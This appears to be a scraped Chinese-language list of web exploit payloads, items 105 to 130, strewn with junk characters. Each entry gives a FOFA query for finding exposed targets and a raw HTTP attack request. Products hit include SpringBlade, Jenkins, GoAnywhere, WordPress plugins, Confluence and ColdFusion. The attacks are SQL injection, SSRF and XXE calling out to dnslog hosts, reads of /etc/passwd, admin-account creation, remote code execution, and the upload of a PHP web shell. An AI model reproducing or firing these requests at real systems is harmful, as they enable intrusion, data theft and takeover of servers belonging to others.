; Q9 |: {9 b$ }  ~. Q, yUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
4 m% r. n' a( J# U* H3 ]7 hContent-Type: application/x-www-form-urlencoded:charset=UTF-8
0 Z5 U4 e. V  z# UOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
5 ]; U5 x" X- d% e6 w* PAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
"topicurl":"getSysStatusCfg",
+ Q2 k6 K4 ?# G0 `% f! s"token":""
}

. a% X3 _& I- H$ T8 a) s3 m105. SpringBlade v3.2.0 export-user SQL 注入
; c2 G& ^  z- F) b0 |1 _FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
/ r' c2 v6 E+ O5 ~. Q! L9 wFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
$ |6 ]- I/ m& I. }Accept-Encoding: gzip, deflate
3 H- K3 _, u$ a: gAccept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
4 r% a8 @/ ?! c2 }FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
: s* A* A, ?$ ]7 eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
; G/ q+ u- X% H% T. D/ t

108. D-Tale 3.9.0 SSRF
# N1 i8 d8 B1 |8 o4 fCVE-2024-21642
: c/ r% M( }/ a" `  [5 F3 o6 j' _FOFA："dtale/static/images/favicon.png"
/ F9 m9 ^/ t) m* s0 K7 C' U0 `/ uGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
3 A5 Q# j6 |3 G! Z+ \  `  qHost: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 J1 t% k' s  cAccept-Encoding: gzip, deflate
# y( b3 ]2 V2 g+ C( K+ tAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
- Q( R! t0 h* ]* {$ D: @  @Connection: close
! @; c4 C2 v9 z/ x% ]( X' o
7 q, h% b6 ^/ k. J- X6 O( d
109. Jenkins CLI 任意文件读取
" B& {) m# \  C: H# iCVE-2024-23897
, x. d  ^& T% }- aFOFA：header="X-Jenkins"
8 ]6 o; C6 M9 D% T: e) o1 S" X3 KPOST /cli?remoting=false HTTP/1.1
3 ?' N- z, o' [% [  fHost:
Content-type: application/octet-stream
) ~! i& k( ]9 M: F  e" ISession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
* y' R8 S$ \$ K  i4 G8 P2 o4 W9 ~: ESide: upload
Connection: keep-alive
- `" q) J0 ~; n8 ?- tContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


1 j; q  ?3 H# S0 |' X" ?POST /cli?remoting=false HTTP/1.1
$ O2 p# ^" ]) J6 x  c; G3 aHost:
8 M1 P; |4 c+ o2 a$ U$ CSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
) H0 F) T2 B3 z- RContent-Type: application/x-www-form-urlencoded
Content-Length: 0


; k9 z* R8 P( tERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+ f* s$ y. {" }java -jar jenkins-cli.jar help
[COMMAND]
! \, d1 F. O) q- e4 z5 ~Lists all the available commands or a detailed description of single command.
( c: @, |' v8 Y2 K3 P% B5 V* ?/ T COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
7 J! z' y. r2 D9 l9 R0 V6 ]
$ ?( ~; p+ [0 e
110. Goanywhere MFT 未授权创建管理员
/ o; h. o# C! DCVE-2024-0204
6 f! h3 {7 G' O& h" C- `FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
9 C' w" V$ |5 A2 J" hHost: 192.168.40.130:8000
( j8 B/ Z' {0 b# o7 ZUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
1 P+ b( s: c  PAccept: */*
Accept-Language: en
Accept-Encoding: gzip
+ z1 i  f7 @, I" D7 w
& l# w7 m. Y! S% b" E9 ]
111. WordPress Plugin HTML5 Video Player SQL注入
2 e; y% k/ b3 s; q0 B) _9 G) qCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
+ B9 _9 L- t1 s, c2 x# ^Host: 192.168.40.130:112
8 V; p3 f4 {7 i& s: w/ {( c) wUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
# ?! h* G' X8 x- X
. ]0 o  V6 F- M9 L' U
6 r  z+ m; F& k112. WordPress Plugin NotificationX SQL 注入
0 O& ^7 `! v+ C, A3 l. i' D  Q/ lCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
* l7 T! T+ {0 c. F4 U* D3 RPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


& Z2 a& a! r5 u1 ?7 T5 ?0 q113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
" q$ y  B6 a8 T" A9 R9 x# m  DGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
$ G5 X/ V, [  l& w* ~- ~8 N. fAccept: */*
- f0 \! E2 a/ Q8 |/ JAccept-Language: en
; z1 a. a& B& i( A  \Accept-Encoding: gzip
/ c- x  P! d& Q  D/ `

8 u* v4 E3 l2 @* R. ^) `114. WordPress MasterStudy LMS插件 SQL注入
  \* Y/ c/ ^( E8 u( c1 FFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
( U! D6 l$ X2 J- p8 b3 a  CGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
% Y% a. v5 @6 \% ?$ f4 \& QHost: your-ip
/ X6 V/ K' V! T) oUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
4 }4 d' E# n! X6 ^; B$ L/ fConnection: close


; v: u0 l) R2 S115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
8 s9 `% P  e. l: D! }% Q第一步，获取网站的nonce值
  K5 o( f6 f/ F# A- ^GET / HTTP/1.1
Host: x.x.x.x
! z+ A. Z0 Y9 b& UUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip

- k* K* K4 _7 U8 V- Y8 `6 T
第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
4 Y. S2 j! f2 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
# v+ i7 I5 c3 |; ^/ W! Q% lConnection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

, C. M5 A+ D' q8 n- B" s+ q{
) W$ e' s+ c% G! c' d"postId": "1",
7 T$ Z( p3 w, x1 g3 u  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
+ P+ V' }$ D/ O. ]        "useQueryEditor": true,
1 j# Q* ?; F* K) y' ~        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
" V9 \% r! b- B8 a        "objectType": "post"
+ F: N) @: N0 c. L) K      }
  w( `/ }% O6 d' W4 ]    }
  }
}


116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
" }3 ?, H* q' f3 dPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
2 I) A% _) m5 n. I5 q* }Host:
) k$ e" u3 p1 I! d2 K+ R  TContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
$ F6 J- R: D% c" a+ X' z# S
----------767099171
" |8 C5 I4 W0 g/ lContent-Disposition: form-data; name="action"
# V) R+ F' q5 H5 y. Econfiguration_saveconfiguration
' n" M( `1 X2 Z6 P/ g----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
2 ?* I; ~0 M% E! ~0 V) R5 B; GContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
- M- D5 r1 I9 ?8 i6 O- }2 z5 K) P# j

117. WordPress LayerSlider插件SQL注入
6 s# Z! m, J1 X9 S# Cversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
9 G1 _+ `" U! l& L4 `Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- I2 \$ A) v0 J. RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  w6 \$ w( O" o) ~3 O+ {9 J& VAccept-Encoding: gzip, deflate, br
Connection: close
0 T% f& [9 W: I% @& o2 u. iUpgrade-Insecure-Requests: 1

$ A% n! x: }" q) Y: y. O$ t2 h
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
& q: o2 e6 A5 w8 r7 CFOFA：title="Smart管理平台"
; i) S2 i4 [3 o+ u1 `POST /Tool/uploadfile.php? HTTP/1.1
" I* f; z, F% l6 K: v$ t/ CHost: 192.168.40.130:8443
' t. Y  i9 U7 y6 J" `- YCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 D$ k6 n3 X2 p' A* p1 b2 M% QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- X* p, k6 r( }/ `" Y- DContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
; W; ~3 K. j0 |- }* VOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
  }3 Q3 f# x/ p) p  IUpgrade-Insecure-Requests: 1
) M' Q( b( a: r, J: _6 {/ I) GSec-Fetch-Dest: document
9 L0 E& G- V7 `! t3 ?" h& `4 l0 w) D( uSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
: G4 Y" V* f" I' j3 Q1 G/ _: JTe: trailers
; O; R# V6 @9 o3 G  AConnection: close

-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
* F) h/ ?' ]7 f9 G  R
3 |) `1 `5 S6 e! T2 F' C<?php
system($_POST["passwd"]);
- p. a. f, V9 h& ?4 `, I) r2 q?>
& b. O2 T0 \* [-----------------------------13979701222747646634037182887
0 I9 k  w( |/ a* sContent-Disposition: form-data; name="txt_path"
0 Y- g  ]; d4 N$ {; }4 n6 c
1 C8 a, ]2 u3 P. I' \/home/src.php
-----------------------------13979701222747646634037182887--
6 _" D# @* t) R( {: h
8 _# G9 j% o6 c/ Y
9 z' @8 `; D; v% z3 t8 o访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
: Q' N$ l. t' `  e5 @$ NCVE-2024-1254
FOFA：title="Smart管理平台"
: h! N% d; z  n+ }5 K; j6 I* E先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
# K  E" p9 [( {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& |5 c+ o2 |: d" Y+ ?) C; O5 [# XAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
. ]+ b: [* y7 K5 ^( x+ \% c3 V# tOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
$ I( o2 c3 K3 S* F; R& X8 oSec-Fetch-Dest: empty
3 \7 c6 R! z2 ]& GSec-Fetch-Mode: cors
; E& D  I2 L; W9 f0 oSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
4 o; |$ i6 J0 r/ Z/ vX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

) h: Q9 ^! c% g+ }) }' Vsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


6 \0 c1 }" I$ s- e( g3 k9 U120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
$ z0 ]0 T0 O/ Z1 `FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
' i9 m7 F( I7 C4 rCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
; ^2 o: e1 W1 O% K* BUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" f0 ?3 a: [/ H) _% U0 CAccept-Encoding: gzip, deflate
& ^, |' B/ [5 v& yContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
+ q* f/ b" @) y* Z; \1 M3 m4 a1 RSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
( m6 v. y- P5 l$ w$ x1 FConnection: close

- c& N* H  H4 ^+ j- ]-----------------------------42328904123665875270630079328
5 F) l! |3 H6 i5 mContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
* e/ ?- m' ?" \& k1 v* E
4 ~( y$ e6 c& Q; ]% P<?php phpinfo()?>
, s  I$ ~3 j) n-----------------------------42328904123665875270630079328
3 z8 s; @% X2 [/ u4 }Content-Disposition: form-data; name="id_type"

: D8 n7 D# A. m6 p8 O1
/ A0 b( X3 P8 L1 b6 \1 O3 @-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
1 y1 T5 p0 h  j2 V% J
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

; w) {6 Q( N5 t3 N! Rimport
-----------------------------42328904123665875270630079328
& H, j  p0 \8 w4 A- H

文件路径/upload/2.php
" q5 Z- \0 w: D% i( h5 G
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
; R2 ?9 p, Z. ~( {CVE-2024-1918
+ }" f  }; B: v) e4 `FOFA：title="Smart管理平台"
. e3 M% Y7 f/ A3 P. ~! {' ]' y% cPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
& w7 u* a) F% ~$ W4 f6 i+ ICookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 [/ N. Y% I% R2 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. Z4 _: v; q( g" eAccept-Encoding: gzip, deflate
" W9 j2 l# O3 h4 u- fContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
% w0 U/ g- Z% `Content-Length: 592
. ?+ S2 `5 H4 S, ~5 p, B4 eOrigin: https://192.168.40.130:8443
4 u& i% N& P) OUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
' ~: b9 }; o$ c. B5 y" dSec-Fetch-Mode: navigate
( B7 }5 t  y' C3 n2 m# m" S4 hSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
! c& h) B6 d8 a& z% F; [Connection: close
; _; F( X9 v+ L7 ^# S- \1 x
& ]; E2 S) Z) W  L) ?- X-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
3 f& f* R5 q/ l
" L6 x) m$ \- X$ p: T<?php phpinfo();?>
-----------------------------42328904123665875270630079328
( R9 z: r" m/ z: S% n* I, b+ sContent-Disposition: form-data; name="id_type"
" @' M: S+ Q+ t3 h5 `4 F0 b+ Z
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

* e7 E: u: f# R. h9 @1_radhttp
9 c' p. e/ B: t-----------------------------42328904123665875270630079328
7 E, y4 Q9 U( a/ i; ~2 f1 `  g' ?0 mContent-Disposition: form-data; name="hidwel"

set
  K5 ?" T3 J2 l* ?* `/ C% F+ c-----------------------------42328904123665875270630079328

* J, g$ b# D: ?2 g
" I. g6 C  m" Q" G& q; Hboot/web/upload/weblogo/1.php
: |2 e+ X; s& A% D0 J' P
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
9 N0 x5 |2 o" Y1 ~/ d% gCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
$ H0 _/ M7 }* Y2 w8 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
2 q9 z5 G# J& ^* r& n  RSec-Fetch-Site: none
Sec-Fetch-User: ?1
' B7 [) R4 a8 D" y! M0 k- T& z% VTe: trailers
" n5 i9 x/ X  `; v0 F! }7 s4 SConnection: close


123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
; O1 q2 k; _1 D* B* K0 P" HPOST /template/aui/text-inline.vm HTTP/1.1
7 A% k+ D& T# ?Host: localhost:8090
9 S' k2 g; A  C& P1 L5 Z* CAccept-Encoding: gzip, deflate, br
Accept: */*
/ P; ]) i5 b$ o9 Q( xAccept-Language: en-US;q=0.9,en;q=0.8
9 g2 V+ h0 f5 C+ IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
: K7 M# k* e2 ~: n2 tConnection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


! x$ s6 }  p/ k9 D1 e$ N4 I/ ?6 _124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
) y! E3 |8 D- S6 F! d7 ^User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
8 t) Q9 V) m! `# \2 WAccept-Encoding: gzip, deflate, br
( r& F1 Z3 E2 q/ yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" _2 G. m8 K; N$ @$ M6 nConnection: close
Content-Type: application/x-www-form-urlencoded
' Z$ h5 V' r# c0 E2 b
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
! k- y3 p8 e" O) [# a) B! h2 _

http://192.168.40.130:8282/Scripts/abcgcg.aspx

. d4 v5 A# c. m; x125. ConnectWise ScreenConnect身份验证绕过
' h+ t3 k/ O/ DCVE-2024-1709
1 g7 E7 L& k% Y+ V- ?FOFA：icon_hash="-82958153"
" {. u8 W% R3 I/ ~; E4 `' o, y; R2 N8 shttps://github.com/watchtowrlabs ... bypass-add-user-poc
# l4 ^' g2 U9 y- R) i, F$ \- L0 Y
$ ^9 O9 `! {2 A' E: R! y3 L) D0 W
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
9 y6 o! `/ R1 t; U4 }" t' E* j9 w) b) D1 E
% `# _# F- l/ R- y' s1 p+ ?" F% u
创建好用户后直接登录后台，可以执行系统命令。
, ~/ R& M. I# c" n
" |5 [' B9 a0 y3 {126. Aiohttp 路径遍历
( x& \9 b2 P8 fFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
2 l, J' F1 H2 t6 ^/ P+ \" q1 t3 FAccept-Encoding: gzip


2 [6 t- l) F( q127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
( i( N& _5 v- Y7 A6 j+ {* A2 k8 w9 x9 }POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
9 K1 f* |+ W5 x# j& jHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
) L5 D- g0 ~/ x7 K$ W: FContent-Length: 415
9 y  n  M( ~1 @7 X/ j7 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. ~2 Y/ b$ {% C7 Q. yAccept-Language: zh-CN,zh;q=0.9
& j3 e- h; m4 d8 a2 M, _- PConnection: close
! E7 O$ V' [; |Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
: x# K* Y0 f) H0 \, {% S7 G: m9 sPurpose: prefetch
; j6 c7 z: {  A( [Sec-Purpose: prefetch;prerender

1 b: `* n1 V; o, k* w  L------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

4 T% L* m. E  X# ~! N* t# qBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
! [1 M4 z/ X" ^% E# k, K( L; ]Content-Disposition: form-data;name="Params"
+ P! n- e: u% _$ l/ ]+ SContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
/ T% z! B# y6 Q<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
0 v7 o# E( f6 b9 D7 N& l>
7 ^/ w- I: D8 e  ]6 C<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--


) p5 q! G4 R) m, u( X3 i! {: V
5 g2 Q! n; z- M128. Adobe ColdFusion 反序列化
6 {- P6 D5 @( s% ACVE-2023-38203
" k. _! Y7 n8 |& Y2 x) F( s/ y/ `Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD
+ \' h$ d+ f& H( @9 O% I, G/ s$ B
129. Adobe ColdFusion 任意文件读取
+ b" B4 C0 x7 E, l! p4 p* }CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
- ?# Z% q2 K" o) w第一步，获取uuid
' e( R3 h# d% z. K& a7 o# y9 GGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
( U0 \& f$ m; I3 C# A4 I- r# L
" {% t; F3 H+ o1 F4 q: M6 O
第二步，读取/etc/passwd文件
) E( x8 ~  r" v+ M5 J% oGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
% |, h0 O' A) r8 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 w  ^$ \5 t" P' ?% BAccept: */*
Accept-Encoding: gzip, deflate
  x9 J/ ?, d# l3 O1 @5 QConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
7 v5 Q# z/ Y2 B* }POST /admin/users/upavatar.html HTTP/1.1
: V/ v7 y% u' E# A% Y6 jHost: 127.0.0.1
% \& \- J. m7 BAccept: application/json, text/javascript, */*; q=0.01
# F- Q/ w) w: d% k5 y" U. mX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
: v9 G) e" D# @Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
